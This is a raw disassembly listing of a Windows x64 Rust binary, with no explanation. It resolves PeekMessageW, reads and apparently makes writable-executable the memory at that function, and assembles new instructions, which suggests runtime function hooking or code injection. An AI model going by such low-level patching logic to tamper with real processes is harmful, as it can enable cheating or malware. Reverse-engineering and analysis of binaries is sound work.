jne 0x14001cae4
jmp 0x14001ca0b
mov dil, 1
mov rbx, qword [rbp + 0x300]
movzx esi, dil
cmp dword [rbp + 0xf8], 0
je 0x14001cd7f
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
shl esi, 0x10
mov rcx, qword [rbp + 0x90]
or rcx, rsi
call fcn.1400b1080
mov r12, rax
mov rdi, qword [rbp + 0x1a0]
jmp 0x14001ca0b
lea rcx, str.Failed_to_get_ptr
lea r8, [0x1400b9c60]
mov edx, 0x11
call fcn.1400b18b0
movzx edi, byte [rbp + 0x1c8]
jmp 0x14001c9f5
mov rcx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], rcx
lea rcx, [rbp + 0x1c0]
call fcn.1400b0fc0
jmp 0x14001cd91
test r14, r14
je 0x14001ce0c
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [0x1400b9532]
call qword [sym.imp.kernel32.dll_LoadLibraryA]
test rax, rax
jne 0x14001ce46
call qword [sym.imp.kernel32.dll_GetLastError]
movzx edx, ax
or edx, 0x80070000
test eax, eax
cmovle edx, eax
test edx, edx
mov ecx, 0x535f4f4b
cmovne ecx, edx
call fcn.1400b10b0
jmp 0x14001cd91
mov r14, rax
lea rdx, str.PeekMessageW
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rsi, rax
lea rax, str.GetProcAddress_failed
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1d8], xmm0
lea rcx, [rbp + 0x1c0]
call fcn.1400b11a0
mov r12, rax
test rsi, rsi
je 0x14001cd94
mov rax, qword [r12]
mov rcx, r12
call qword [rax]
sub rsi, r14
add rsi, qword [rbp + 0x2c0]
mov dword [rbp + 0x118], 1
mov qword [rbp + 0x140], rsi
mov r8d, 0x20
mov rcx, qword [rbp + 0x308]
lea rdx, [rbp + 0x11c]
mov r14, rdx
mov r9, rsi
mov rax, qword [rbp + 0x2f0]
call qword [rax + 0x68]
mov r12, rax
test rax, rax
jne 0x14001cd94
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0x2c0], r15
lea rax, [0x140002da0]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x1c0], 2
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1d8], 2
mov qword [rbp + 0x1e0], 0
movabs rax, 0x800000020
mov qword [rbp + 0x1e8], rax
mov byte [rbp + 0x1f0], 3
lea rax, [0x1402116f8]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 1
mov qword [rbp + 0x330], rbx
mov qword [rbp + 0x338], 1
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x320]
call fcn.140025950
xor eax, eax
cmp rax, qword [rbp + 0xa0]
jo 0x14001d1b5
mov rbx, qword [rbp + 0xb0]
mov qword [rbp + 0xd0], rbx
movdqu xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xc0], xmm0
xor r14d, r14d
jmp 0x14001cfee
inc r14
cmp r14, 0x1f
je 0x14001d199
lea rax, [rbp + 0x11d]
add rax, r14
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0x2a0], rax
lea rax, [0x140002da0]
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x1c0], 2
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1d8], 2
mov qword [rbp + 0x1e0], 0
movabs rax, 0x800000020
mov qword [rbp + 0x1e8], rax
mov byte [rbp + 0x1f0], 3
lea rax, [0x1402116f8]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], 1
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], 1
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x320]
call fcn.140025950
mov r12, qword [rbp + 0x2c0]
mov rsi, qword [rbp + 0x2c8]
mov r13, qword [rbp + 0x2d0]
mov rax, qword [rbp + 0xc0]
sub rax, rbx
cmp rax, r13
jb 0x14001d121
mov r15, qword [rbp + 0xc8]
lea rcx, [r15 + rbx]
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rbx, r13
mov qword [rbp + 0xd0], rbx
test r12, r12
je 0x14001cfe1
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001cfe1
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rbp + 0xc0]
mov rdx, rbx
mov r8, r13
call fcn.1400b1ba0
mov rbx, qword [rbp + 0xd0]
jmp 0x14001d0e1
lea rcx, str.Failed_to_get_ptr
lea r8, [0x1400e70a0]
mov edx, 0x11
call fcn.1400b18b0
lea rcx, str.Failed_to_get_ptr
lea r8, [0x1400e70d0]
mov edx, 0x11
call fcn.1400b18b0
mov ecx, 1
mov edx, 0x18
call fcn.1400b1210
mov ecx, 1
mov edx, 0x2d200
call fcn.1400b1210
cmp qword [rbp + 0xc0], 0
je 0x14001d1b5
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rbp + 0x80], 0x40
mov rsi, qword [rbp + 0x140]
mov rax, qword [rbp + 0x2f0]
mov rax, qword [rax + 0x40]
lea r9, [rbp + 0x80]
mov r8d, 0x20
mov rcx, qword [rbp + 0x308]
mov rdx, rsi
mov qword [rbp + 0x2f8], rax
call rax
mov r15, rax
test rax, rax
jne 0x14001eb8d
mov rax, qword [rbp + 0x2f0]
mov rax, qword [rax + 0x48]
mov edx, 0x38
mov rcx, qword [rbp + 0x308]
mov r8d, 4
mov qword [rbp + 0x300], rax
call rax
mov qword [rbp + 0x318], rdx
test rax, rax
je 0x14001d374
mov r15, qword [rbp + 0x318]
jmp 0x14001eb8d
mov ecx, 1
mov edx, 0xb
call fcn.1400b1230
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 0xb
mov qword [rbp + 0x118], r13
mov qword [rbp + 0x120], 0xb
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400b9c30]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b7cf8]
lea r8, [rbp + 0x110]
mov edx, 0x2b
call fcn.1400b1790
mov ecx, 1
mov edx, 0xb
call fcn.1400b1210
mov ecx, 1
mov edx, 7
call fcn.1400b1230
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x2c0], rax
lea rax, [0x140085dc0]
mov qword [rbp + 0x2c8], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0x2d0], rax
lea rax, case.0x140086586.440
mov qword [rbp + 0x2d8], rax
lea rax, str.failed_printing_to_:
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 2
mov qword [rbp + 0x130], 0
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 2
lea rdx, str.std_srcio_stdio.rs
lea rcx, [rbp + 0x110]
call fcn.1400b1440
jmp 0x14001ea42
mov ecx, 1
mov edx, 0x13
call fcn.1400b1230
mov ecx, 1
mov edx, 8
call fcn.1400b1230
mov rax, qword [rbp + 0x2f0]
mov rax, qword [rax + 0x70]
lea r8, [rbp + 0x110]
mov r9d, 0x38
mov rcx, qword [rbp + 0x308]
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x298], rax
call rax
mov rbx, rax
test rax, rax
jne 0x14001eb56
mov eax, dword [rbp + 0x118]
mov dword [rbp + 0x1b0], eax
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm0
movdqu xmmword [rbp + 0x1e0], xmm0
movdqu xmmword [rbp + 0x1f0], xmm0
movdqu xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x210], 0x40
mov word [rbp + 0x214], 0
mov byte [rbp + 0x216], 3
mov rbx, qword [0x14021f940]
test rbx, rbx
je 0x14001ea44
shr ebx, 0xe
and ebx, 1
lea rcx, [rbp + 0x320]
mov dl, 0x3d
mov r8, qword [rbp + 0x318]
call fcn.140071000
movzx r14d, word [rbp + 0x340]
mov r12, qword [rbp + 0x320]
mov r15, qword [rbp + 0x328]
mov r13, qword [rbp + 0x330]
cmp r14d, 0x1348
jne 0x14001d685
movabs rax, 0x8000000000000001
cmp r12, rax
je 0x14001d70f
mov qword [rbp + 0x328], r15
mov qword [rbp + 0x330], r13
mov qword [rbp + 0x320], r12
jmp 0x14001eb27
mov ecx, 8
mov edx, 0x20
call fcn.1400b1230
mov ecx, 1
mov edx, 3
call fcn.1400b1230
mov ecx, 1
mov edx, 0x18
call fcn.1400b1230
mov ecx, 1
mov edx, 0xc
call fcn.1400b1230
lea rcx, [0x1401d6838]
call fcn.1400b1b60
mov ecx, 8
mov edx, 0x150
call fcn.1400b1230
movupd xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0x13
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], 0x13
movupd xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400b9cc0]
jmp 0x14001da5d
mov ecx, 8
mov edx, 0xc8
call fcn.1400b1230
mov ecx, 8
mov edx, 0x10
call fcn.1400b1230
movupd xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 8
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], 8
movupd xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400b9de0]
jmp 0x14001da5d
movupd xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 7
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], 7
movupd xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400b9df8]
jmp 0x14001da5d
mov qword [rbp + 0x1c0], r14
lea rax, [0x1400b9cd8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140003170
lea r8, [rbp + 0x1c0]
mov edx, 0x2b
call fcn.1400b1790
mov ecx, 1
mov edx, 0x1a
call fcn.1400b1230
mov ecx, 1
mov edx, 0x12
call fcn.1400b1230
mov ecx, 1
mov edx, 0xe
call fcn.1400b1230
mov ecx, 1
mov edx, 0x31
call fcn.1400b1230
movupd xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0x18
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], 0x18
movupd xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400b9e10]
jmp 0x14001da5d
mov ecx, 1
mov edx, 0x2b
call fcn.1400b1230
mov ecx, 1
mov edx, 6
call fcn.1400b1230
mov ecx, 1
mov edx, 2
call fcn.1400b1230
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0xb8], rax
mov eax, dword [rbp + 0x342]
mov dword [rbp + 0x1a8], eax
movzx eax, word [rbp + 0x346]
mov word [rbp + 0x100], ax
lea rcx, [rbp + 0x1c0]
call fcn.1400505c0
mov rax, qword [rbp + 0x1c8]
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r13
mov rcx, qword [rbp + 0xb8]
mov qword [rax + 0x18], rcx
mov word [rax + 0x20], r14w
mov ecx, dword [rbp + 0x1a8]
mov dword [rax + 0x22], ecx
movzx ecx, word [rbp + 0x100]
mov word [rax + 0x26], cx
mov qword [rbp + 0x1d0], 1
mov word [rbp + 0x214], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x320], 0x30
mov dword [rbp + 0x328], 0x3d0020
mov byte [rbp + 0x32c], 1
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
lea r9, [rbp + 0x320]
mov r8d, 0x350000
call fcn.140070da0
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e76b
cmp dword [rbp + 0x1b0], 1
je 0x14001d7f9
cmp dword [rbp + 0x1b0], 2
jne 0x14001f04a
mov qword [rbp + 0x320], 0xc
mov dword [rbp + 0x328], 0x3d0020
mov byte [rbp + 0x32c], 1
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
lea r9, [rbp + 0x320]
mov r8d, 0x370000
call fcn.140070da0
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e76b
mov rbx, qword [rbp + 0x1e0]
movzx eax, byte [rbp + 0x214]
test rbx, rbx
je 0x14001dd85
test al, al
je 0x14001e35b
jmp 0x14001e6f9
test bl, bl
je 0x14001dce2
mov dword [rbp + 0x330], 0x3d00
movabs rax, 0x100000001
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x320], 0xc
lea rcx, [rbp + 0x2c0]
lea r9, [rbp + 0x320]
mov dx, 0x63f
mov r8b, 0x6d
call fcn.1400711b0
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001dde0
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001de4b
call fcn.140025680
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0xc
mov qword [rbp + 0x1c8], r14
mov qword [rbp + 0x1d0], 0xc
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400b9b58]
jmp 0x14001da5d
mov ecx, 1
mov edx, 0xd
call fcn.1400b1210
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0x18
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], 0x18
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400e7040]
jmp 0x14001da5d
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0xc
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], 0xc
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400e7058]
jmp 0x14001da5d
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0x1a
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], 0x1a
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400e7070]
jmp 0x14001da5d
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], rbx
mov qword [rbp + 0x1d0], r14
lea rax, [0x1400e7028]
mov qword [rsp + 0x20], rax
lea r9, [0x1400b7c78]
lea r8, [rbp + 0x1c0]
mov edx, 0x1a
mov rcx, rdi
call fcn.1400b1790
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0x12
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], 0x12
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400e7088]
jmp 0x14001da5d
mov ecx, 1
mov edx, 0x12
call fcn.1400b1210
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0xe
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], 0xe
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400e70b8]
jmp 0x14001da5d
mov ecx, 1
mov edx, 0xe
call fcn.1400b1210
movups xmm0, xmmword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], 0x31
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], 0x31
movups xmmword [rbp + 0x1d8], xmm0
lea rax, [0x1400e70e8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b7cf8]
lea r8, [rbp + 0x1c0]
mov edx, 0x2b
call fcn.1400b1790
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 8
mov qword [rbp + 0x118], r14
mov qword [rbp + 0x120], 8
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7100]
jmp 0x14001d280
mov ecx, 1
mov edx, 8
call fcn.1400b1210
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 7
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], 7
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7118]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 3
mov qword [rbp + 0x118], r13
jmp 0x14001dbe8
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 0x13
mov qword [rbp + 0x118], rdi
mov qword [rbp + 0x120], 0x13
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7130]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 3
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], 3
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7148]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 0x2b
mov qword [rbp + 0x118], rsi
mov qword [rbp + 0x120], 0x2b
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7160]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 3
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], 3
jmp 0x14001dccf
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 7
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], 7
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7178]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 3
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], 3
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7190]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 6
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], 6
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e71a8]
jmp 0x14001d280
movups xmm0, xmmword [rbp + 0x118]
mov qword [rbp + 0x110], 2
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], 2
movups xmmword [rbp + 0x128], xmm0
lea rax, [0x1400e7028]
jmp 0x14001d280
mov dword [rbp + 0x330], 0x3d00
movabs rbx, 0x100000001
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x320], 0xc
lea rcx, [rbp + 0x2c0]
lea r9, [rbp + 0x320]
mov dx, 0x63d
mov r8b, 0x4d
call fcn.1400711b0
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001ded4
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001df3f
mov ecx, 1
mov edx, 0x14
call fcn.1400b1210
lea r8, [0x1400b9b80]
mov rcx, r12
mov rdx, rdi
call fcn.1400b13d0
mov ecx, 1
mov rdx, r13
call fcn.1400b1210
test al, al
je 0x14001e359
mov rbx, qword [rbp + 0x1f0]
jmp 0x14001e35b
mov ecx, 1
mov edx, 0xef600
call fcn.1400b1210
movzx eax, byte [rbp + 0x1c8]
mov byte [rbp + 0x1c0], al
lea rax, str.src_aaaa.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b7cd8]
lea r8, [rbp + 0x1c0]
mov edx, 0x2b
call fcn.1400b1790
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e798
mov dword [rbp + 0x330], 0x3500
mov qword [rbp + 0x328], 1
mov qword [rbp + 0x320], 0
lea rcx, [rbp + 0x2c0]
lea r8, [rbp + 0x320]
mov dx, 0x731
mov r9b, 0x6d
call fcn.140071280
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001dfc8
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001e033
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e798
mov dword [rbp + 0x330], 0x3500
mov qword [rbp + 0x328], 1
mov qword [rbp + 0x320], 0
lea rcx, [rbp + 0x2c0]
lea r8, [rbp + 0x320]
mov dx, 0x72f
mov r9b, 0x4d
call fcn.140071280
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001e0b6
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001e121
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e798
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmmword [rbp + 0x320], xmm0
mov word [rbp + 0x340], 0x6c8
mov dword [rbp + 0x342], 0
mov word [rbp + 0x346], 0
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2c0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
je 0x14001e424
jmp 0x14001e76b
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e798
mov dword [rbp + 0x330], 0x3d00
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x320], 0x1c
lea rcx, [rbp + 0x2c0]
lea r9, [rbp + 0x320]
mov dx, 0x63d
mov r8b, 0x4d
call fcn.1400711b0
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001e19f
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001e20a
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001e798
mov dword [rbp + 0x330], 0x3500
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x320], 0x10
lea rcx, [rbp + 0x2c0]
lea r8, [rbp + 0x320]
mov dx, 0x72f
mov r9b, 0x4d
call fcn.140071280
movzx eax, word [rbp + 0x2e0]
cmp eax, 0x1348
jne 0x14001e297
mov rax, qword [rbp + 0x2d0]
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rax
jmp 0x14001e302
mov ecx, 1
mov edx, 0xc
call fcn.1400b1210
movdqu xmm0, xmmword [rbp + 0x2c0]
movdqu xmm1, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rbp + 0xc0], xmm0
mov ecx, dword [rbp + 0x2e2]
mov dword [rbp + 0x342], ecx
movzx ecx, word [rbp + 0x2e6]
mov word [rbp + 0x346], cx
movdqa xmmword [rbp + 0x320], xmm0
movdqa xmmword [rbp + 0x330], xmm1
mov word [rbp + 0x340], ax
lea rcx, [rbp + 0x2a0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0x2a0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
je 0x14001e424
jmp 0x14001e798
mov ecx, 8
mov rdx, rdi
call fcn.1400b1210
lea rax, [0x1401d6db0]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400b7c38]
lea r8, [rbp + 0x110]
mov edx, 0x37
call fcn.1400b1790
xor ebx, ebx
movzx eax, byte [rbp + 0x215]
test eax, eax
je 0x14001e775
mov r14d, eax
shl r14d, 0x1f
mov ecx, 0x20000000
test al, 2
jne 0x14001e732
mov ecx, 0x40000000
test al, 4
jne 0x14001e732
test al, 8
jne 0x14001e73d
lea r12, [rbp + 0x1e0]
mov r13, qword [rbp + 0x1d0]
cmp r13, qword [rbp + 0x1c0]
jne 0x14001e3b6
lea rcx, [rbp + 0x1c0]
call fcn.1400505c0
mov rax, qword [rbp + 0x1c8]
lea rcx, [r13*4]
add rcx, r13
mov qword [rax + rcx*8], rbx
mov qword [rax + rcx*8 + 8], 0
mov dword [rax + rcx*8 + 0x10], 0x18
mov dword [rax + rcx*8 + 0x14], r14d
movabs rdx, 0x370000000000
mov qword [rax + rcx*8 + 0x18], rdx
mov word [rax + rcx*8 + 0x20], 0x11a
mov dword [rax + rcx*8 + 0x22], 0x3500
mov word [rax + rcx*8 + 0x26], 0
inc r13
mov qword [rbp + 0x1d0], r13
mov word [rbp + 0x214], 0
pxor xmm0, xmm0
movdqu xmmword [r12], xmm0
lea rcx, [rbp + 0x2c0]
mov dx, 0x165
call fcn.140070b90
mov rax, qword [rbp + 0x2c0]
movzx ecx, byte [rbp + 0x2c8]
movabs rdx, 0x8000000000000001
cmp rax, rdx
jne 0x14001ea58
lea eax, [rcx - 6]
cmp al, 9
jae 0x14001ea84
lea rdx, [0x140211958]
movzx eax, al
mov edx, dword [rdx + rax*4]
lea r8, [0x140211980]
mov rax, qword [r8 + rax*8]
mov word [rbp + 0x33d], 0
mov byte [rbp + 0x33f], 0
mov dword [rbp + 0x342], 0
mov word [rbp + 0x346], 0
mov qword [rbp + 0x320], 0
mov qword [rbp + 0x328], rax
mov byte [rbp + 0x330], 0
mov byte [rbp + 0x331], cl
mov word [rbp + 0x336], 0
mov dword [rbp + 0x332], 0
mov dword [rbp + 0x338], edx
mov byte [rbp + 0x33c], 0x27
mov word [rbp + 0x340], 0x165
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x1c0]
lea r8, [rbp + 0x320]
call fcn.140050690
mov rax, qword [rbp + 0xc0]
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x14001eade
